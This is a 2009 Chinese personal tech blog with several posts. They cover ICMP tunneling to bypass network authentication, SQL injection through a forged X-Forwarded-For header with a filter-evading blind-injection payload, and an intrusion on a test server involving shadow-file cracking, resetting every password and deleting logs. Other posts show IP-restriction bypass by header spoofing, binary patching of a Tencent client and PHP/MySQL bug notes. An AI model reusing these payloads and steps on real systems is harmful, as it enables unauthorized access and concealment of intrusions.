Wednesday, December 23, 2009

Proxy over ICMP

昨天下午开会突然间想到的问题。
最近公司用无线,总是连不上那个认证页面;有线接入又要先走认证接入系统。实在恶心。
不过,未认证的情况下,ping还是通的。也就是说,ICMP包应该是没有被drop掉的。
再联想到,之前研究过ping的数据格式,有个可以“不限长度”的数据段。
于是在设想能否用这个段实现应用层数据包的封装,进而以ICMP为载体作代理或者其他方式绕过这个认证接入系统。

晚上上网查了查,果然,这种东西已经有了现成的实现。
早上在测试机上下了个PingTunnel,去掉了SELinux的编译选项,直接make,然后本机开了个虚拟机,bridge了无线网卡。

服务器端直接
./ptunnel -v -f pt.log 
客户端
sudo ./ptunnel -p 10.abc.def.ghi -lp 12345 -v -da 10.abc.def.ghi -dp 22

然后客户端新开一个shell,
ssh -p 12345 localhost -l root
直接tunnel到了10.abc.def.ghi 的22端口,ssh。

如果目标端口,-dp那个选项,对应的是个socks代理,那就可以直接socks代理过去,其他同理。

http://en.wikipedia.org/wiki/ICMP_tunnel
Ping Tunnel
# EOF

Wednesday, December 16, 2009

两个注入的案例

同一个系统,看了看源码,发现两个问题。

1 IP的获取方式以及 HTTP_X_FORWARDED_FOR 过滤
这块儿,纯属之前测试微博内网接口外部访问成功之后,无聊得放不下,天然的敏感。
相关测试,见 这里

这次看到这个系统的一个用户界面,使用以前提到过的IP判断规则(简单说就是 HTTP_X_FORWARDED_FOR ? HTTP_X_FORWARDED_FOR : REMOTE_ADDR ) 来获取IP。
<?php
if ( $_SERVER['HTTP_X_FORWARDED_FOR'] != "" ) {
 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else if ( getenv( "REMOTE_ADDR" ) != "" ) {
 $ip = getenv( "REMOTE_ADDR" );
} else {
 $ip = "";
}

而后,在某个INSERT中,使用了这个$ip值。
<?php
$query = "INSER INTO ... SET ..., `ip`='".$ip."'";

问题其实很明显了。
HTTP_X_FORWARDED_FOR 这个头是可以人工加的。这点上边提到的文章里已经做过测试。这里唯一还要测试的,是如果构造畸形的数据,例如“127.0.0.1' -- ;”,或者简单点“127.0.0.1'”看看sql会不会出错。
想到这点,赶紧拿联盟的代码测试了下,结果出错了
Discuz! info: MySQL Query Error

Time: 2009-12-16 3:15pm
Script: /home.php

SQL: SELECT sid, status, username AS sessionuser, groupid, styleid, wordsonly FROM cdb_sessions WHERE sid='Gz0uB3lI' AND ip='127.0.0.1' and 1=1, 219.142.118.227, 10.1.10.5'
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 219.142.118.227, 10.1.10.5'' at line 1
Errno.: 1064

Similar error report has beed dispatched to administrator before.
我在nginx里配的
proxy_set_header        X-Forwarded-For "127.0.0.1' and 1=1";

看到这里,立马给IP加了一次过滤。

于是再次和微博代码里的那个IP获取的方式做了比较:
与这里的代码获取方式相比,微博的代码中,对 HTTP_X_FORWARDED_FOR 的IP格式作了一次匹配,取出了一个符合IPv4规则的地址,也就是这个长串的第一部分,并没有简单地使用 ', ' 进行 explode。好处在于格式是确定的,不会因为IP格式收类似攻击;而不好的一点是,这样的处理方式,可以使用 HTTP_X_FORWARDED_FOR 进行IP欺骗。


2 变态的过滤。
这个变态过滤规则我记得之前提到过,基本代码如下:
<?php
function filter($str)
{
 $str = str_replace( array(" ", "'"), array(" ", '‘'), $str );
 $str = str_replace(arrau("%","&","|","=","+","\t","\r",), "", $str);
 return $str;
}

第一眼看到这个过滤,已然疯了。连 +=|&% 都过滤了,实在是变态。尤其是=,这个一过滤,即便有注入也很难,因为 1=1,1=2 已经不再有用了,更何况field=1这样的判断。
等等,真的不可用么?
1=1,1=2很好理解,只要这里等号两端没有空格,过滤之后数据应该是 11 或 12,形如
SELECT * FROM `tbl` WHERE 12
这样的语句很明显没问题,空格、跳格、回车被过滤了,那就\n或者/**/呗。
至于 field=1的判断。。。
hmm...
其实挺简单。
这些是以前写的
0/**/OR/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101


/**/NOT/**/length(username)-6/**/AND/**/NOT/**/ord(substring(username,1,1))-115/**/AND/**/NOT/**/ord(substring(username,2,1))-115/**/AND/**/NOT/**/ord(substring(username,3,1))-107/**/AND/**/NOT/**/ord(substring(username,4,1))-97/**/AND/**/NOT/**/ord(substring(username,6,1))-101

很难看是吧,能用就行了呗,自己写个代码拼串也不难,只是别把串弄得超过4k就行。


# EOF

Sunday, December 13, 2009

对某系统的测试

之前拿到过该系统的盘,本打算跟一下注册的算法,后来没时间折腾也就放弃了。不过那系统用得已经不能再恶心了。

前两天拿到某系统的测试机,一个8080的服务,一个ssh端口。直接上去拿到了一个root的webshell,但是恶心就恶心在,连 ls cp chmod 等等都没法用。不过当晚直接拿了 passwd 和 shadow 用jtr爆破,轻松拿到一个弱口令,不过权限很低,可以ssh。从某个虚拟机拿了个 /bin/ls 传上去,却忘记了默认写进去的文件没有 +x。于是从虚拟机上把一些基本命令 tar了一个包传了过去,解压到了 ~/bin 下,于是开始看系统的东西。基本没什么可用的,最后删了web日志,然后走人。

第二天所有的服务全关了,于是就没折腾。

等后来连上的时候,却发现之前弱口令的那个账户已经被删了,想自己添加帐户却没权限。最后不得不变态地直接写了个文件
123456
123456
然后
passwd < 1
passwd secadm < 1
passwd audadm < 1
把所有用户的密码都给改了。


今天折腾了会儿,看了看系统,注意了下MAC地址,00:0C:29:02:6B:1D,vmware的,于是想试试找找vmware tools,然后想尝试通过以前某几个版本的vmware tools的东西,看看能不能进宿主机。结果折腾着,折腾着,却在传vmware tools上出了麻烦,太大了,而且忘记了要找有漏洞的版本,只是一心想着vmware 7 :x。抓包看了看vmware 7 的更新功能,然后找到了softwareupdate.vmware.com 这个域,但是数据包是走443端口的,https可用,只是抓到的没法还原。后来上网搜,发现了
http://softwareupdate.vmware.com/cds/index.xml
顺藤摸瓜,找到了
https://softwareupdate.vmware.com/cds/vmw-desktop/ws/7.0.0/203739/linux/vmware-tools-linux-8.1.3-203739.i386.component.tar
wget下来,却没法用,不过庆幸自己wget前先装了screen,要不然肯定会断。



/bin 下几个不能用的文件ls -l 出来是这样的
[root@localhost bin]# ls -l | grep \?
?--------- ? ? ? ? ? chmod
?--------- ? ? ? ? ? cp
?--------- ? ? ? ? ? ls
?--------- ? ? ? ? ? rm
这个东西在我自己的虚拟机ssh上去的时候没遇到过。

/etc/passwd, /etc/shadow, /etc/group, /etc/gshadow 等几个文件用webshell检测的状态都是不可写的,直接vi 然后 :w! 也不行。这点我自己的虚拟机记得也是这样的。

sudoers修改加上的sudo权限不可用,可以从su切换到任意用户,但是无法从其他用户su到root下。




PS: 感谢 Jianyu Yang 的 ssh tunnel 以及提供账号的 fukui :P

Friday, October 16, 2009

完美实现绕过特定的IP限制

由于http proxy的存在,PHP中取IP不能直接使用 REMOTE_ADDR 字段获取。一般的方法可能是先判断 HTTP_X_FORWARDED_FOR 等字段存不存在,最后再选择取用 REMOTE_ADDR。于是,这样一来,取出的IP可能就是 202.202.202.202, 10.1.10.5, 10.1.10.253 ..... 也许你在联盟(Bitunion) 的IP显示上曾经见到过这样的信息,尤其是当你在用手机GPRS上网...

好吧,于是问题出现了。
正是由于代理的出现,这样格式的IP也就成了一个问题。
为什么说是问题呢?想想常见的限制IP的操作,常见的有几种方式,一种直接IP字符串前几位比较,一种是用IPv4的按位与或计算。对于前者而言,实在无法控制客户端从他所在的网络出来的第一部分的IP会是什么;对于后者,切分IP之后选择哪个部分就成了该考虑问题。
即便不说IP限制,检查IP格式也很麻烦了。

虽然联盟的代码并不涉及到IP限制的问题(其实也是有的,只是一般人不见得能发现,LOL),但是早先的Session表,IP字段只有15个字节长度,完全是以 xxx.xxx.xxx.xxx 作为标准考量的,正因为这个原因,早先看到的用户发帖IP可能是 xxx.xx.xx.xx, 1 这样很诡异的格式。于是我把所有的IP字段都扩充到50字节,基本没见过有四重的情况。

好吧,回到正题。
目前某个PHP系统的IP获取策略是,取REMOTE_ADDR 的直接IP和HTTP_X_FORWARDED_FOR 等代理IP,如果有代理IP,则切分并取出最前边的一个,否则就直接用REMOTE_ADDR的数据。

于是问题出现了。
这个系统的部分PHP脚本做了IP段限制,例如 10.1.1* 。
解读一下:
如果我没走任何代理,直接访问服务器,且我的IP如 10.1.1.* 10.1.1?.* 10.1.1??.* 那就认为我的IP段合法;
加入我走了代理,访问服务器,只要我在代理前的IP是上边的几个,那就行了;
……

说了这些,能明白我的思路了么?

好吧,实验开始了。
首先直接访问 http://t.sskaje.name/ip.php
返回的结果是
string(0) "" string(12) "67.205.42.90" 

说明一下,第一个dump出来的是所谓的代理IP,第二个是按照上边的策略取出的IP。

然后第一个实验。

开始前,先说明一下实验环境:测试机一台,我的笔记本,没必要说配置,浏览器无关,内网IP,10.210.18.*** ;VMWare虚拟机一台,Ubuntu Server 8.04.3, NAT模式和笔记本构建了一个 192.168.175/24 的子网; 虚拟机配了nginx,因为是用来做budev开发的,所以配置基本按253的走的。虚拟机的域名是 proxy.t.sskaje.name IP为 192.168.175.128;本机NAT网络下的IP为 192.168.175.2。http://t.sskaje.name/,这是一个在dreamhost上的虚拟主机,感谢Loster的支持。另外,刚才那个ip.php的脚本是从这里提到的某系统直接拿着增加了代理IP的独立输出。


第一个实验是配好nginx转发。
我的转发的目的是把所有的发往我的虚拟机的php解析请求,转发给 t.sskaje.name,也就是proxy.t.sskaje.name -> t.sskaje.name。

location 的一个directive的配置如下:


location ~ /.*\.php {
proxy_pass http://t.sskaje.name;
proxy_redirect off;
proxy_set_header Host 't.sskaje.name';
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_read_timeout 90;
}


这几乎可以说是最简单的nginx proxy配置了。

访问 http://proxy.t.sskaje.name/ip.php 的输出为
string(13) "192.168.175.2" string(13) "192.168.175.2" 

也就是说代理前的IP是 192.168.175.2,按策略取出的IP也是代理的IP,没问题。因为我的NAT网络里,我的IP是192.168.175.2。

下一个测试是,改IP。
改的是啥呢?
代理字段,当然,X-Forwarded-For这里了。
好,现在的配置文件改成了

location ~ /.*\.php {
proxy_pass http://t.sskaje.name;
proxy_redirect off;
proxy_set_header Host 't.sskaje.name';
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For '10.20.30.40';

proxy_read_timeout 90;
}

再次访问:http://proxy.t.sskaje.name/ip.php
string(11) "10.20.30.40" string(11) "10.20.30.40" 

Good job!

继续,下一个测试,改个IP头试试。
上述系统的内外IP限制了 10.xx.+ 的某个段,于是我把代理X-Forwarded-For的数据内容指定成这样一个段的IP。
其实就是某台仿真机的IP。
然后把proxy_pass字段改成内网接口的IP,还得把proxy_set_header的host部分改一下。
嗯,改好了

这个时候我的配置是

location ~ /.*\.php {
proxy_pass http://202.***.**.180;
proxy_redirect off;
proxy_set_header Host '***.sina.com.cn';
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For '10.**.**.240';

proxy_read_timeout 90;
}


访问 http://proxy.t.sskaje.name/***/***/***/add*******.php 。
返回值是:
{"errno":-4,"errmsg":"uid\u4e0d\u80fd\u4e3a\u7a7a"}



如果直接访问那个接口呢?
试试:http://***.sina.com.cn/***/***/***/add*******.php
{"errno":-1,"errmsg":"Ip\u53d7\u9650"}



JSON的编码自己解吧。
明眼人应该看出来区别了吧。

# EOF

Saturday, October 3, 2009

Seg fault when calling php memcache::addServer

addServer('localhost', 11211);
var_dump($mc_0->get('ss'));
var_dump($mc_0->set('ss', 1, NULL, 100));
var_dump($mc_0->get('ss'));

$mc_1 = new Memcache;
$mc_1->addServer('localhost', 11211, NULL);
var_dump($mc_1->get('ss'));
var_dump($mc_1->set('ss', 2, NULL, 100));
var_dump($mc_1->get('ss'));


$mc_2 = new Memcache;
$mc_2->addServer('localhost', 11211, NULL, 1); 
var_dump($mc_2->get('ss'));
var_dump($mc_2->set('ss', 3, NULL, 100));
var_dump($mc_2->get('ss'));

$mc_4 = new Memcache;
$mc_4->addServer('localhost', 11211, NULL, 1, NULL);
var_dump($mc_4->get('ss'));
var_dump($mc_4->set('ss', 4, NULL, 100));
var_dump($mc_4->get('ss'));

$mc_5 = new Memcache;
$mc_5->addServer('localhost', 11211, NULL, 1, NULL, NULL);
var_dump($mc_5->get('ss'));
var_dump($mc_5->set('ss', 5, NULL, 100));
var_dump($mc_5->get('ss'));

$mc_6 = new Memcache;
$mc_6->addServer('localhost', 11211, NULL, 1, NULL, NULL, NULL);
var_dump($mc_6->get('ss'));
var_dump($mc_6->set('ss', 6, NULL, 100));
var_dump($mc_6->get('ss'));

$mc_7 = new Memcache;
$mc_7->addServer('localhost', 11211, NULL, 1, NULL, NULL, NULL, NULL);
var_dump($mc_7->get('ss'));
var_dump($mc_7->set('ss', 7, NULL, 100));
var_dump($mc_7->get('ss'));




Guess whatz the result :?

sskaje@newborn:~/test$ php test3.php 
string(1) "7"
bool(true)
string(1) "1"
string(1) "1"
bool(true)
string(1) "2"
string(1) "2"
bool(true)
string(1) "3"
string(1) "3"
bool(true)
string(1) "4"
string(1) "4"
bool(true)
string(1) "5"
string(1) "5"
bool(true)
string(1) "6"
string(1) "6"
bool(true)
string(1) "7"
Segmentation fault
sskaje@newborn:~/test$ 

Noticed ? Thatz a seg fault at the very end. Now look above to see where error occurs.
Hmm...
addServer('localhost', 11211, NULL, 1, NULL, NULL, NULL, NULL);

Yup, this is the line where that seg fault occurs.
Compare this line with the $mc_2 lines. Yes, you saw the difference is the forth argument when calling addServer. The $mc_2 uses 1 and $mc_7 uses NULL.

I'll check the source out to find what exactly causes this error when I'm really that free.

Sunday, September 27, 2009

屏蔽千千静听广告

当千千静听右下角也出现flash广告的时候,这个世界都变得不能忍了。
exescope看了一圈,没有发现有用的
ollydbg载入主程序,查找资源,发现

http://ttmsg.qianqian.com/msg.php?%s&id=%s

自己打开看看。。。
然后再看看http://ttmsg.qianqian.com/include/login.php

很简单地,把ttmsg.qianqian.com加个hosts,应该就好了。

Monday, September 21, 2009

找到了MySQL WorkBench 启用收费版功能的方法

偶然的发现吧。
heqian来屋里,不记得聊啥,就聊到了mysql workbench的破解上。
顺道看了看mysql workbench。
之前用这个尝试过设计数据库,但是最后还是放弃了,换而用mysql administrator自己一张一张建表。
5.0的时候,看到mwb里有很多功能,前边标了 SE ,但是没法用,因为用的是OSS版。

于是刚才注意了一下以前的安装目录,发现一个data目录,下边一堆xml文件,在其中搜了一个SE标记了的菜单名称,居然发现,main_menu.xml 中,SE和非SE完全在于id属性中是否以 /SE 结尾。

尝试修改去掉了所有 /SE,于是所有功能可用。

升级到 mwb 5.1,一样,不过这次,/SE的菜单在这个版本里不显示。


这个不算是破解 :x

Friday, September 18, 2009

在DH上写了一个blogger资源的代理

DHProxy
很无聊得用 ErrorDocument 做了转向,然后根据REQUEST_URI处理转发参数。

试试 http://t.sskaje.name/b/start?pli=1
/b/ 对 www.blogger.com 的http数据进行里转发

稍微地加了点缓存机制


然看这里 : http://t.sskaje.name/t/sskaje

不过这个数据缓存有点长,所以甭想当web代理用,嘿嘿

只为静态资源,不为过墙。

Tuesday, September 15, 2009

手工去掉了MSN界面的广告

用过msnshell 和 msg plus 这两个插件,选用前者的原因是去广告,选用后者的原因是功能增强。但是曾经试图两个同时装,结果很多msgplsu的特性都被msnshell屏蔽了,很是恶心。
新版本的live messenger + msnshell 用过一段时间,却发现,msnshell并不是把主界面广告条隐藏了,而是把显示的位置调整了,使得广告在主界面上看不出来,但是偶尔的时候却能看到上边几个像素的内容,很是不爽。
最终决定把msnshell卸了,忍了一段时间的广告,赶着昨天live messenger有更新(今天baidu hi也更新了,msn的支持也没了,唔。。。),索性今天来尝试自己去广告。
基本思路还是走资源。
拿exeScope看了live messenger目录下的所有dll和exe,没有直接找到相关的内容。于是上网查了查,看到了这个:http://hi.baidu.com/fzu728/blog/item/780e7cf40bbccedff2d3851e.html。
但是这里给的东西,并没有找到。

重新看了看资源,发现msgsres.dll的数字开头的部分,很多都是UIB头的文件。
换用resource hacker,一样。
上网搜了搜 uib file decode,发现了这几个东西:
http://www.msghelp.net/showthread.php?tid=88339&pid=945754
http://forums.fanatic.net.nz/index.php?showtopic=19541
http://dotnetwizard.net/live/messenger-plus-live-for-wlm-2009-final/

注意了下msgplus的目录,的确有个 MPTools.exe,但是不能直接运行。
稍微注意了下,这个文件是msg plus在msn里的选项工具。
于是在 msg plus 选项里找了找,看到了皮肤设计的部分,最下边有一个解压资源,一个文档。
点击文档,看到了 Specialized Subjects 下的 Encoding and Decoding UIB
正是我想要的。

Here is an example of how to decode a UIB file:
MPTools.exe /UIB=Decode /Src="C:\uibfile.uib" /Def="C:\deffile.txt" /Style="C:\stylefile.txt"
And here is another example of how to re-create a UIB file:
MPTools.exe /UIB=Encode /Def="C:\deffile.txt" /Style="C:\stylefile.txt" /Dest="C:\uibfile.txt"

于是首先用 resource hacker把所有的资源导出来。
发现导出目录里一堆Data_***.bin的文件
用vs08 打开.rc文件,看到了一些关系对应。

直接用emeditor 打开,根据第一个链接里的几个关键词SSConstrainer, adbannercont
定位了两个文件,Data_1274.bin 和 Data_1277.bin
解压资源
C:\Documents and Settings\Administrator\Desktop\msgres>"\Program Files\Messenger Plus! Live\MPTools.exe" /UIB=Decode /Src=Data_1274.bin /Def=1274.def.txt /Style=1274.style.txt

C:\Documents and Settings\Administrator\Desktop\msgres>"\Program Files\Messenger Plus! Live\MPTools.exe" /UIB=Decode /Src=Data_1277.bin /Def=1277.def.txt /Style=1277.style.txt

Emeditor打开两个def文件,找到了想要的东西
如第一个链接的内容
1、去掉主窗口下的广告
用Restorator打开msgsres.dll中的4004-923,查找里面的"ID=Atom(SSConstrainer)",不包括两头双引号,将前面的layoutpos=top改为layoutpos=none

2、去掉聊天窗口下的文字广告
在4004 - 920里
找到: element id=atom(adbannercont) layout=filllayout()
改为: element id=atom(adbannercont) layoutpos=none
不过,第一个在 4010:923 Data_1277.bin 对应的文件里,第二个在 4010:920 Data_1274.bin 里
按文章说明直接改,保存,然后重新Encode代码

C:\Documents and Settings\Administrator\Desktop\msgres>"\Program Files\Messenger Plus! Live\MPTools.exe" /UIB=Encode /Def=1274.def.txt /Style=1274.style.txt /Dest=Data_1274.new.bin

C:\Documents and Settings\Administrator\Desktop\msgres>"\Program Files\Messenger Plus! Live\MPTools.exe" /UIB=Encode /Def=1277.def.txt /Style=1277.style.txt /Dest=Data_1277.new.bin

打开刚才的resource hacker的窗口,选择菜单栏的 “Action”,“Replace other resource...”,
“Open File with New Resource...”选择文件,上边保存的是 Data_1274.new.bin 和 Data_1277.new.bin,这两个得和下边的Resource Name对应起来,对应关系往上看。
“Resource Type”:输入 4010
“Resource Name”:输入 920 (923)
“Resource Language”:我用的是英文版的 live messenger,所以是1033,中文的应该是2052
然后 Replace, 保存dll就行

当然,修改的过程无所谓,但是保存的时候,一定要把msn 关掉,或者你另存为,然后关msn,自己替换也行。
反正现在我的主窗口和聊天窗口下方的广告栏已经没了。

# EOF

Tuesday, September 8, 2009

腾讯TT教育网加速代理验证成功

写了个简单的php脚本,patch了webacc.exe,改了端口,去掉了进程检测。
<?php
$file = $_SERVER['argv'][1];
if (!file_exists($file)) {
 die('file not exists');
} else {
 $data = file_get_contents($file);
 $data = str_replace("\x91\x1f", "\xA1\x46", $data);
 $data = str_replace("\x92\x1f", "\xA2\x46", $data);
 $data = str_replace("\xE8\x10\x03\x00\x00", "\xB8\x01\x00\x00\x00", $data);
 file_put_contents($file.'.bak', $data);
}
vpn进学校,把服务跑在了16.4上,没有去改IP,有需要的另说吧
本地开端口
D:\>netstat -ano | find "3732"
  TCP    127.0.0.1:18081        0.0.0.0:0              LISTENING       3732
  TCP    127.0.0.1:18082        0.0.0.0:0              LISTENING       3732
直接连接本地的代理, localhost:18081
访问页面成功。
直接访问ip138,提示的是211.68段的教育网IP;
访问www.who.is,显示的是 Your IP is 211.68.2.18, 124.115.2.21
124.115.2.21 在ip138上查得是陕西电信的ip。
who.is这个站已经是在国外了,肯定不是免费模式能直接访问的。
测试了一下 www.hackthissite.org,成功。

注意了一下 netstat 的情况
D:\>netstat -ano | find "3732"
  TCP    10.1.16.4:3941         59.74.42.153:8080      ESTABLISHED     3732
  TCP    10.1.16.4:3944         59.74.42.153:8080      ESTABLISHED     3732
  TCP    10.1.16.4:3947         59.74.42.153:8080      ESTABLISHED     3732
  TCP    10.1.16.4:3948         59.74.42.153:8080      ESTABLISHED     3732
  TCP    10.1.16.4:3949         59.74.42.153:8080      ESTABLISHED     3732
  TCP    127.0.0.1:18081        0.0.0.0:0              LISTENING       3732
  TCP    127.0.0.1:18081        127.0.0.1:3940         ESTABLISHED     3732
  TCP    127.0.0.1:18081        127.0.0.1:3942         ESTABLISHED     3732
  TCP    127.0.0.1:18081        127.0.0.1:3943         ESTABLISHED     3732
  TCP    127.0.0.1:18081        127.0.0.1:3945         ESTABLISHED     3732
  TCP    127.0.0.1:18081        127.0.0.1:3946         ESTABLISHED     3732
  TCP    127.0.0.1:18082        0.0.0.0:0              LISTENING       3732
59.74.42.153 这个是解析出来的 edu_acc_userinfo.qq.com 的IP,正是昨天从od里看到的
直接访问这个ip的端口,能打开,设成代理,可用。

============================
刚才折腾了会儿,因为16.4打开那个端口没有任何返回,感觉不像是http协议
然后wireshark抓包分析,确认了,再试,结果就可以了
诡异啊

Monday, September 7, 2009

对腾讯TT代理webacc.exe的简单分析

联盟上domi发帖问“有没有对TT的教育网加速有兴趣的”
不想装软件,所以只是留了个邮箱,但是一直都没有人回复。

下了个tt,直接7zip解压,对出来的资源里的 [0] 再次用7zip解压,于是二进制文件资源拿到了

PEiD看了看\bin\webacc.exe,没有查出任何信息,从图标看,先是一个vs03以后的二进制文件默认图标,而且目录下还有vs8的runtime

OllyDBG载入。刚才PEiD没有任何信息,同样,这里看也没有加壳,直接查找资源,找到了127.0.0.1的字样,两处。
domi帖子里提到开的端口也是8081,直接转成16进制,1F91,搜常量
就在两个127.0.0.1的下边,就有 1F91 和 1F92 ,8081和8082 。。。

帖子里还提到,“进程里面只要有个叫TTraveler.exe的就可以用webacc.exe”
hmm, 再次搜索字符串资源,找到一个ttraveler.exe的,然后还有个 edu_acc_userinfo.qq.com 的字样。
还有个 %d.%d.%d.%d 显然是拼接ip,下边有个sprintf,上边有个 gethostbyname, 猜测可能是本地解析域名,然后以传参或者直接host的方式走代理吧。

暂时不管运作原理,先搞定进程检测的问题。
进入ttraveler.exe的地方。
直接下了个断点,但是貌似有反调试的部分,刚才od挂起时间有点长。重启,杀掉了sogou的进程

从 00401aa0开始的地方,是取出了进程列表,然后逐个比较进程名,看看有没有tt主进程的名称。
00401B0C   .  8D8424 201000>LEA EAX,DWORD PTR SS:[ESP+1020]
00401B13 > 68 A8834000 PUSH webacc.004083A8 ; ttraveler.exe
00401B18 . 50 PUSH EAX
00401B19 . FFD3 CALL EBX

这里进行了比较
在call之前断下来,一个一个看进程,看看哪个好改,突然发现了tsvncache.exe,长度一致,方便
直接 d eax,然后改内存。

在 代码结束之后,返回到上一级
0040160B   > \E8 10030000   CALL webacc.00401920
00401610 . 85C0 TEST EAX,EAX
00401612 . 74 07 JE SHORT webacc.0040161B
00401614 . E8 17000000 CALL webacc.00401630
00401619 .^ EB D6 JMP SHORT webacc.004015F1
0040161B > 6A 00 PUSH 0 ; /ExitCode = 0
0040161D . FF15 04804000 CALL DWORD PTR DS:[<&KERNEL32.ExitProces>; \ExitProcess

test eax, eax,然后je到了退出的地方。
于是测试一下00401612 : je -> jne
下个断点,重来。
上边的一个jmp回跳,应该是定时检查,没细看。
直接改动看看。
C:\Documents and Settings\Administrator>netstat -ano |find "8081"
TCP 127.0.0.1:8081 0.0.0.0:0 LISTENING 1028

C:\Documents and Settings\Administrator>netstat -ano |find "1028"
TCP 127.0.0.1:8081 0.0.0.0:0 LISTENING 1028
TCP 127.0.0.1:8082 0.0.0.0:0 LISTENING 1028


端口开了。基本可以认为进程检测过掉了,
测试浏览效果。
唔,不行,是一个squid的403页面。估计还是缺少什么头。
等啥时候弄一台机器有tt的,抓包试试吧。
基本改动的思路差不多了

不过,可以试试对刚才的进程检测的地方,直接把call改成mov eax, 1
再测试一下
C:\Documents and Settings\Administrator>netstat -ano |find "4136"
TCP 127.0.0.1:8081 0.0.0.0:0 LISTENING 4136
TCP 127.0.0.1:8082 0.0.0.0:0 LISTENING 4136


好吧,我试试改改端口。

我把 8081, 8082 改成 18081,18082,也就是46A1和46A2
0040559A  |.  66:C74424 48 >MOV WORD PTR SS:[ESP+48],1F91

004055B3  |.  66:C74424 48 >MOV WORD PTR SS:[ESP+48],1F92


C:\Documents and Settings\Administrator>netstat -ano |find "5192"
TCP 127.0.0.1:18081 0.0.0.0:0 LISTENING 5192
TCP 127.0.0.1:18082 0.0.0.0:0 LISTENING 5192



好吧,就这样吧
具体代理协议的验证细节,以后再说吧。

对端口的修改,请使用16进制编辑器,搜索 91 1f 和 92 1f,按你的需求改吧。(offset 0x559F, 0x55B8)

如果你愿意研究验证的部分,搜索 E8 10 03 00 00 改成 B8 01 00 00 00,就实现了刚才提到的call -> mov (offset 0x160a)
或者 je -> jnz 把紧下边的 74 07 改成 75 07 (offset 0x1612)

另外,我的webacc.exe 99656字节。

Tuesday, August 25, 2009

SinaMySQLClass 增加 mysqli 支持

重新封装了一个mysqli的操作类,只是为了希望从 php_mysql 到 php_mysqli 切换的时候,能够不影响前端代码的使用。
结果改来改去最终还是决定将两组类分开写,毕竟 mysqli 的很多方法没法在 php_mysql 上找到,不愿意为旧的应用放弃新的特性,例如直接可用的 autocommit/commit/rollback 等。
但是作为直接调用 sinamysql.class.php 或 sinamysql.multiservices.class.php 的代码,不会受到影响,毕竟这一层代码只是适应底层的改动稍作了修正,没有太多其他的东西。

不过,其实是不是可以考虑上边放一个专门的文件,给外部代码调用,这样就不用改include/require了

http://code.google.com/p/sinamysqlclass/source/checkout
代码依旧很乱
目的只是为了支持多组主从服务器对,不希望看到某代码几乎每执行一次查询就重建一个连接的2行为。

Saturday, August 22, 2009

定购了 The Lost Symbol

先去amazon.com看的,然后顺道瞅了眼amazon.cn,居然有,虽然说有货时间在9.20,比正式发布时间晚了5天,但是从amazon.com ship过来估计也不止那些天。。。

¥148.00

等吧。。。

Friday, August 21, 2009

不玩 t了,祝 Sina 微博好运

最后一篇发完了,留下个web版的数字截图
Image Hosted by ImageShack.us
By sskaje at 2009-08-21

就这样吧

曾在这里留下过足迹
足够了

Good luck to you all!

PS: 我应该还保留着找到XSS最多的记录吧。。。

Tuesday, August 18, 2009

【对比上篇】MySQLi 对于相同用户名密码连接不同库的结果

两个版本的代码,一个po,一个oo
都是连到同一个服务器,相同的用户密码,只是不同的库

代码1
<?php
$db_1 = mysqli_connect('localhost', 'root', '31343540');
mysqli_select_db($db_1, 'ftpunion');
$db_2 = mysqli_connect('localhost', 'root', '31343540');
mysqli_select_db($db_2, 'ftpunion_new');


var_dump(mysqli_fetch_assoc(mysqli_query($db_1, 'select database();')));


var_dump(mysqli_fetch_assoc(mysqli_query($db_2, 'select database();')));

#mysqli_select_db('ftpunion', $db_1);
var_dump(mysqli_fetch_assoc(mysqli_query($db_1, 'select database();')));


第二段代码
<?php
$db_1 = new mysqli('localhost', 'root', '31343540');
$db_1->select_db('ftpunion');

var_dump($db_1->query('select database();')->fetch_assoc());

$db_2 = new mysqli('localhost', 'root', '31343540');
$db_2->select_db('ftpunion_new');


var_dump($db_2->query('select database();')->fetch_assoc());

#$db_1->select_db('ftpunion');
var_dump($db_1->query('select database();')->fetch_assoc());


两个输出

G:\wwwroot\Test\mysql>php mysqli_select_db.php
array(1) {
["database()"]=>
string(8) "ftpunion"
}
array(1) {
["database()"]=>
string(12) "ftpunion_new"
}
array(1) {
["database()"]=>
string(8) "ftpunion"
}

G:\wwwroot\Test\mysql>php mysqli_select_db_oo.php
array(1) {
["database()"]=>
string(8) "ftpunion"
}
array(1) {
["database()"]=>
string(12) "ftpunion_new"
}
array(1) {
["database()"]=>
string(8) "ftpunion"
}


两次sleep的时候,netstat的结果

G:\Projects\sina\Slot>netstat -ano |find "368"
TCP 127.0.0.1:2538 127.0.0.1:3306 ESTABLISHED 3688
TCP 127.0.0.1:2539 127.0.0.1:3306 ESTABLISHED 3688

G:\Projects\sina\Slot>netstat -ano |find "283"
TCP 127.0.0.1:2618 127.0.0.1:3306 ESTABLISHED 2836
TCP 127.0.0.1:2619 127.0.0.1:3306 ESTABLISHED 2836


还有谁想说mysql_select_db 那个是个feature么 :x

php_mysql my_select_db 多库交叉使用的bug

<?php
$db_1 = mysql_connect('localhost', 'root', 'root');
mysql_select_db('ftpunion', $db_1);

var_dump(mysql_fetch_assoc(mysql_query('select database();', $db_1)));

$db_2 = mysql_connect('localhost', 'root', 'root');
mysql_select_db('ftpunion_new', $db_2);

var_dump(mysql_fetch_assoc(mysql_query('select database();', $db_2)));

#mysql_select_db('ftpunion', $db_1);
var_dump(mysql_fetch_assoc(mysql_query('select database();', $db_1)));


结果是。。。
array(1) {
["database()"]=>
string(8) "ftpunion"
}
array(1) {
["database()"]=>
string(12) "ftpunion_new"
}
array(1) {
["database()"]=>
string(12) "ftpunion_new"
}

一个页面使用 相同的用户名和密码 连接使用 相同服务器 不同的库 的时候,只能是在切换库查询的时候,先得对对应的mysql 连接资源进行一次 mysql_select_db 操作,然后再执行查询

要不然你只能得到一个 错误的库.正确的表 不存在 的提示。。。因为貌似这个过程 php_mysql 实际只创建了一个连接,查询的库以最近一次的mysql_select_db的操作为准。。。。

